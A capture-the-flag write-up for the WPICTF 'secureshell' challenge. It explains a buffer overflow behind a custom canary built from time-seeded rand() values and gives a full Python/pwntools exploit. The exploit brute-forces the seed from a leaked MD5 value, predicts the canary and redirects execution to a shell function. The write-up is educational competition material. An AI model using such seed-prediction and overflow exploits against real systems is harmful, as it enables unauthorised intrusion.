Description

I made the most secure remote shell there is!
nc secureshell.wpictf.xyz 31337 (or 31338 or 31339)
Category: pwn
Author: awg
File: here
Authors of the Write-Up: Klecko and JlXip

Analysis

For the analysis part we’re going to use a disassembler. Any will do, but I will be using Hopper Disassembler.

We are given a 64-bit ELF executable. When executed, we are asked for a password. If we enter something, we’ll get a segmentation fault.

However, as we’ll realize later, the program gets an environment variable called SECUREPASSWORD, so we’ll set it now to have a look at the intended functionality.

If we enter a wrong password, we get an Incident UUID, which looks like a hash. If we type the right one, we get a bash shell. Finally, if we try to overflow the buffer expecting a segmentation fault, we get a message saying LARRY THE CANARY IS DEAD. Poor Larry. So it seems there’s a canary implemented. Let’s look at the output of checksec.

Seems like it’s not a position independent executable, and no compiler stack canary is present. This combination tells us that we could potentially perform a buffer overflow attack. However, we know that there’s actually a canary, which was not detected because it is not the compiler’s one. This makes buffer overflow harder to exploit.

Let’s first take a look at Ghidra’s decompilation of main, so we can get the general idea of the main control flow.

As it can be seen, it calls a method named init, prints the welcome message, and calls checkpw. If the returned value is 0, logit method is called, and goes for another attempt (until the 4th is reached, in which case the program exits). Otherwise, it spawns a shell.

Back to Hopper, let’s have a look at init.

This method gets the time in seconds and microseconds. Then, multiplies the seconds by one million, and adds the microseconds. It actually gets only the last four bytes, as it is saved into edi. The obtained value is sent as a parameter to srand, which sets the seed of the C RNG.

When init returns, the method checkpw is called, which allocates 4 variables in the stack. I’ve named them accordingly so we can refer to them later.

It gets two random numbers and joins them (as can be seen below). The result is later stored at variables CANARY_TOP and CANARY_BOTTOM.

The program prints Enter the password, and calls fgets with a size of 256 bytes. The result will be stored at USER_INPUT. However, that variable is only 104 bytes long, so here’s where the buffer overflow could be run. The only issue is that, as we know, some sort of stack canary protection is present (hence the random numbers above), even though it’s not the compiler’s.

The executable then gets the contents of an environment variable called SECUREPASSWORD, and compares it to the read string. If they match, checkpw returns 1; if they dont, 0. But before any of that, stakcheck is called, which is a method that just checks whether the contents of CANARY_TOP andCANARY_BOTTOM match. If they don’t, LARRY THE CANARY IS DEAD is printed out, and the program exits.

If the password is correct, a shell is spawned. Otherwise, the method logit is called. This method gets a random number, hashes it with MD5, and prints it as an “Incident UUID”. It also seems to write something to /dev/null, but it won’t be relevant.

As you can see, although there is a buffer overflow it can’t be exploited as usual because of Larry the Canary. We know for sure that it can be exploited, so there must be a way to either bypass it or guess it.

The vulnerability is in fact that the canary is made up of random numbers, and a random number is printed (or the MD5 hash of it, which is the UUID). As we know how the program calculates the RNG seed, we could get an approximation of the RNG seed (as soon as the connection is made), and bruteforce it with some lower bounds, until the third random number (which we’ll hash with MD5) matches the UUID. If we get the seed, we might as well get the 4th and 5th random numbers derived from it, which would give us the canary of the following login attempt and allow us to perform the buffer overflow, so that the return address of checkpw would point to the method that spawns the shell.

Script

General idea

Here’s what our is script is going to do:

  1. As soon as the connection is established, we’re going to generate a seed, just as the program does. This seed will be quite close to the real seed.
  2. We are going to send a wrong password in order to get the UUID, which is the MD5 of a random number.
  3. Once we get the UUID, we are going to bruteforce the seed comparing the MD5 of the third number of each candidate to the given UUID.
  4. Once we get the seed, we generate the canary using the fourth and fifth random numbers.
  5. Send a payload with the canary that overwrites the return address, and get a shell!

As usual, we’ll use python with pwntools as main tool. In order to use libc srand and rand, we’ll use ctypes to load the library and have access to its functions.

Functions

Let’s create some functions that will help us divide our script in smaller parts. First, let’s get the approximate seed:

def get_approximate_seed():
    n = time()
    secs = int(n)
    microsecs = int(n%1 * 1000000)
    #That's how secureshell gets the seed.
    seed = (secs * 1000000 + microsecs) & 0xFFFFFFFF
    return seed

Next, let’s create a function that takes the MD5 hash printed by the program and the approximate seed, and returns the real seed:

def get_exact_seed(md5, approximate_seed):
     min = approximate_seed - 0x00050000
     max = approximate_seed + 0x00200000
     result = 0
     #Bruteforces every possible in a range.
     for seed in range(min, max):
         libc.srand(seed)
         libc.rand() #two first values are used
         libc.rand() #for the first canary
         n = libc.rand() #third value is the one of the displayed md5
         if hashlib.md5(p32(n)).hexdigest() == md5:
             result = seed
             break
     return result

The last one will get the real seed and return the second canary, which is made up of the forth and fifth random numbers:

 def get_canary(seed):
     libc.srand(seed)
     libc.rand()
     libc.rand()
     libc.rand()
     n1 = libc.rand()
     n2 = libc.rand()
     return n2 ^ n1 << 0x20

Result

The canary is located 8 bytes after the end of the buffer, and the return address is located 8 bytes after the canary, so the final payload would be a padding of 112 bytes, the canary, a padding of 8 bytes, and the address of the function shell.

Now we only have to put everything together. While doing this, we realized that the UUID the program printed was not the actual hash. We had to swap the first half with the second half, and then reverse the bytes because of Little-Endian. Also, cracking the seed fails sometimes when the length of the UUID is less than 32. That’s due to the way secureshell prints it, which is as two concatenated longs. One or both of them could have zeros in the left, and they would not be printed, which leads to a wrong MD5 hash. This can be easily fixed, but since we didn’t need it to be perfect, we didn’t bother doing it. The final script results in this:

from pwn import *
from ctypes import *
from time import time
import hashlib
import sys

PATH = "./secureshell"
REMOTE = True
SHELL_ADDR = 0x40125c
context.binary = PATH

def get_approximate_seed():
    n = time()
    secs = int(n)
    microsecs = int(n%1 * 1000000)
    #That's how secureshell gets the seed.
    seed = (secs * 1000000 + microsecs) & 0xFFFFFFFF
    return seed


def get_exact_seed(md5, approximate_seed):
    min = approximate_seed - 0x00050000
    max = approximate_seed + 0x00200000
    result = 0
    #Bruteforces every possible in a range.
    for seed in range(min, max):
        libc.srand(seed)
        libc.rand() #two first values are used
        libc.rand() #for the first canary
        n = libc.rand() #third value is the one of the displayed md5
        if hashlib.md5(p32(n)).hexdigest() == md5:
            result = seed
            break
    return result

def get_canary(seed):
    libc.srand(seed)
    libc.rand()
    libc.rand()
    libc.rand()
    n1 = libc.rand()
    n2 = libc.rand()
    return n2 ^ n1 << 0x20

if REMOTE:
    p = remote("secureshell.wpictf.xyz" ,31337)
else:
    p = process(PATH)

#Gets approximate seed when the program starts.
approximate_seed = get_approximate_seed()
log.info("Approximate seed: " + hex(approximate_seed))

#Loads libc so we can use srand and rand.
cdll.LoadLibrary("libc.so.6")
libc = CDLL("libc.so.6")


p.recvuntil("password")
p.sendline("asdasd")
data = p.recvline_contains("UUID")

#Gets the UUID, swaps it to get the actual md5.
uuid = data.split()[2].rjust(32, "0")
log.info("UUID: " + uuid)
hash = uuid[16:] + uuid[:16]
hash = "".join([hash[i-1]+hash[i] for i in range(len(hash)-1,-1,-2)])
log.info("Hash: " + hash)

#Bruteforces the seed.
pr = log.progress("Bruteforcing seed")
pr.status("working...")
seed = get_exact_seed(hash, approximate_seed)
if seed == 0:
    #Sometimes fails when len(uuid) < 32.
    pr.failure()
    sys.exit()
else:
    pr.success()

#Once we have the seed, gets the canary.
log.info("Seed cracked: " + hex(seed))
canary = get_canary(seed)
log.info("Canary: " + hex(canary))

p.recvuntil("password")

log.info("Sending payload...")

payload = "A"*112
payload += pack(canary)
payload += "A"*8
payload += pack(SHELL_ADDR)

p.sendline(payload)

p.interactive()

After running it we get the shell, and then just cat flag.txt.

WPI{Loggin_Muh_Noggin}

Leave a comment

Your email address will not be published. Required fields are marked *